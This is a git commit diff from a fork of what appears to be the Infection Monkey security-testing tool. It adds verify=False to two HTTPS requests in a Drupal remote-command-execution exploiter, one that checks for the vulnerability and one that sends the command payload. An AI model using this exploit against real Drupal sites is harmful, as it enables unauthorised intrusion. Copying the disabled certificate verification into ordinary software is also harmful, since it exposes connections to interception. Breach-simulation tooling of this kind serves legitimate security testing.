forked from p15670423/monkey
verify=False for HTTPS requests
This commit is contained in:
parent
eb4f50a0ca
commit
702f5c1a41
|
@ -75,7 +75,8 @@ class DrupalExploiter(WebRCE):
|
||||||
|
|
||||||
response = requests.get(f'{url}?_format=hal_json',
|
response = requests.get(f'{url}?_format=hal_json',
|
||||||
json=payload,
|
json=payload,
|
||||||
headers={"Content-Type": "application/hal+json"})
|
headers={"Content-Type": "application/hal+json"},
|
||||||
|
verify=False)
|
||||||
|
|
||||||
if is_response_cached(response):
|
if is_response_cached(response):
|
||||||
LOG.info(f'Checking if node {url} is vuln returned cache HIT, ignoring')
|
LOG.info(f'Checking if node {url} is vuln returned cache HIT, ignoring')
|
||||||
|
@ -89,8 +90,11 @@ class DrupalExploiter(WebRCE):
|
||||||
base = remove_port(url)
|
base = remove_port(url)
|
||||||
payload = build_cmd_execution_payload(base, cmd)
|
payload = build_cmd_execution_payload(base, cmd)
|
||||||
|
|
||||||
r = requests.get(f'{url}?_format=hal_json', json=payload, headers={"Content-Type": "application/hal+json"})
|
r = requests.get(f'{url}?_format=hal_json',
|
||||||
|
json=payload,
|
||||||
|
headers={"Content-Type": "application/hal+json"},
|
||||||
|
verify=False)
|
||||||
|
|
||||||
if is_response_cached(r):
|
if is_response_cached(r):
|
||||||
LOG.info(f'Exploiting {url} returned cache HIT, may have failed')
|
LOG.info(f'Exploiting {url} returned cache HIT, may have failed')
|
||||||
|
|
||||||
|
|
Loading…
Reference in New Issue